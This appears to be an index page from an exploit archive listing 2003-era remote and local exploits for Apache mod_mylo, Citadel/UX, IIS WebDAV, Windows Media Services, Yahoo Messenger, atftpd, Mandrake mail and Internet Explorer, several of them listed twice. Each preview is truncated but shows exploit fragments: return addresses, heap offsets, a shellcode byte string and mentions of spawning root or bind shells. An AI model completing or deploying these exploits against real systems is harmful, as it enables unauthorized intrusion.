Apache 1.3.x mod_mylo - Remote Code Execution

Apache 1.3.x modmylo - Remote Code Execution / Apache + modmylo remote exploit By Carl Livitt / July 2003 carllivitt at hush dot com Public release - Linux and FreeBSD targets. / include include include include include include include include include include include include include include define...

Citadel/UX BBS 6.07 Remote Exploit

Exploit for linux platform in category remote exploits ================================== Citadel/UX BBS 6.07 Remote Exploit ================================== / Citadel/UX 6.07 Remote exploit By Carl Livitt, July 2003 / include include include include include include include include include...

Citadel/UX BBS 6.07 - Remote Overflow

/ Citadel/UX 6.07 Remote exploit By Carl Livitt, July 2003 / include include include include include include include include include include include include include include // If you change these, things will probably break. define SIZ 4096 define LEN 298 define RET 0xbfffaf20 define CITADELPORT...

CitadelUX BBS 6.07 - Remote Overflow

CitadelUX BBS 6.07 - Remote Overflow / Citadel/UX 6.07 Remote exploit By Carl Livitt, July 2003 / include include include include include include include include include include include include include include // If you change these, things will probably break. define SIZ 4096 define LEN 298 defi...

MS Windows WebDav III remote root Exploit (xwdav)

Exploit for unknown platform in category remote exploits ================================================= MS Windows WebDav III remote root Exploit xwdav ================================================= / IIS 5.0 WebDAV Exploit Xnuxer Lab By Schizoprenic, Copyright c 2003 WebDAV exploit without...

Microsoft IIS 5.0 - WebDAV Remote Code Execution (3) (xwdav)

/ IIS 5.0 WebDAV Exploit Xnuxer Lab By Schizoprenic, Copyright c 2003 WebDAV exploit without netcat or telnet and with pretty magic number as RET / include include include include include include include include include define RET 0xc9c9 define LOADLIBRARYA 0x0100107c define GETPROCADDRESS...

Microsoft IIS 5.0 - WebDAV Remote Code Execution (3) (xwdav)

Microsoft IIS 5.0 - WebDAV Remote Code Execution 3 xwdav / IIS 5.0 WebDAV Exploit Xnuxer Lab By Schizoprenic, Copyright c 2003 WebDAV exploit without netcat or telnet and with pretty magic number as RET / include include include include include include include include include define RET 0xc9c9...

Microsoft Windows Media Services - Remote (MS03-022)

Microsoft Windows Media Services - Remote MS03-022 // Windows Media Services Remote Command Execution 2 // v. 1.0 beta // c firew0rker //tN The N0b0D1eS include include include ifdef WIN32 include pragma commentlib, "wsock32" else include include include include include include define SOCKET int...

PoC for Internet Explorer >=5.0 buffer overflow (trivial exploit for hard case).

Dear [email protected], Attached exploit for 1 works with 70 probability on Windows NT 4.0 I didn't tested on different systems and it may differ, I don't care because I only wanted to show code execution IS possible. It works slow and may require few minutes to complete, see explanation...

DSR-korean-elm.pl

DSR-korean-elm.pl - kokaninATdtors.net vs. /usr/ports/korean/elm offset, retaddr and shellcode is for my FreeBSD 4.7-RELEASE, YMMV reinventing the wheel, http://www.insecure.org/sploits/elm.curses.overflow.html shellcode by zillionATsafemode.org ko-elm-2.4h4.1 ELM Mail User Agent, patched for...

Yahoo Messenger 5.5 Remote Exploit (DSR-ducky.c)

No description provided by source. / --- Remote yahoo Messenger V5.5 exploiter on Windows XP --- Dtors Security Research DSR Code by: Rave The buffer looks like this |-----| Fillup x offsetJMP 0x3EIPNOPSSHELLCODE ^^ / include windows.h include stdio.h include stdlib.h include string.h include...

Yahoo Messenger 5.5 Remote Exploit (DSR-ducky.c)

Exploit for unknown platform in category remote exploits ================================================ Yahoo Messenger 5.5 Remote Exploit DSR-ducky.c ================================================ / --- Remote yahoo Messenger V5.5 exploiter on Windows XP --- Dtors Security Research DSR Code...

MS Windows WebDav II (New) Remote Root Exploit

Exploit for unknown platform in category remote exploits ============================================== MS Windows WebDav II New Remote Root Exploit ============================================== // / 29/05/2003 - by Alumni - / / Microsoft IIS WebDAV New Exploit / / spawns shell on port 32768 / /...

Atftpd 0.6 Remote Root Exploit (atftpdx.c)

Exploit for linux platform in category remote exploits ========================================== Atftpd 0.6 Remote Root Exploit atftpdx.c ========================================== / PoC linux/86 remote exploit against atftpd c gunzip FIXED / include include include include include include inclu...

Mandrake Linux 8.2 /usr/mail local exploit (d86mail.pl)

Exploit for linux platform in category local exploits ======================================================= Mandrake Linux 8.2 /usr/mail local exploit d86mail.pl ======================================================= !/usr/bin/perl Mandrake 8.2 /usr/mail local exploit Usage: perl d86mail.pl...

Atftpd 0.6 - atftpdx.c Remote Command Execution

Atftpd 0.6 - atftpdx.c Remote Command Execution / PoC linux/86 remote exploit against atftpd c gunzip FIXED / include include include include include include include include include include define HEAPSTART 0x080514b4 define HEAPEND 0x080594b4 define BACKDOOR "rfe" / port MUST be 1024 / define...

Mandrake Linux 8.2 - '/usr/mail' Local Overflow

!/usr/bin/perl Mandrake 8.2 /usr/mail local exploit Usage: perl d86mail.pl offset Then enter "." dot and press 'Enter' Example: satan@localhost my$ perl d86mail.pl eip: 0xbffffddd .enter Cc: too long to edit sh-2.05$ $shellcode = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"...

Atftpd 0.6 - 'atftpdx.c' Remote Command Execution

/ PoC linux/86 remote exploit against atftpd c gunzip FIXED / include include include include include include include include include include define HEAPSTART 0x080514b4 define HEAPEND 0x080594b4 define BACKDOOR "rfe" / port MUST be 1024 / define NOPNUM 128 / number of nops / define PORT 69 / tft...

Mandrake Linux 8.2 - usrmail Local Overflow

Mandrake Linux 8.2 - usrmail Local Overflow !/usr/bin/perl Mandrake 8.2 /usr/mail local exploit Usage: perl d86mail.pl offset Then enter "." dot and press 'Enter' Example: satan@localhost my$ perl d86mail.pl eip: 0xbffffddd .enter Cc: too long to edit sh-2.05$ $shellcode =...

IE-object tag longtype exploit

!/usr/bin/perl =synopsis 06/06/03 - Proof of concept exploit by Sir Alumni [email protected] IE-Object longtype dynamic call oferflow ... url://$shellcode'/'x48jmp ptrsh the flaw actually exists in URLMON.DLL when converting backslashes to wide char, this can be seen on stack dump near...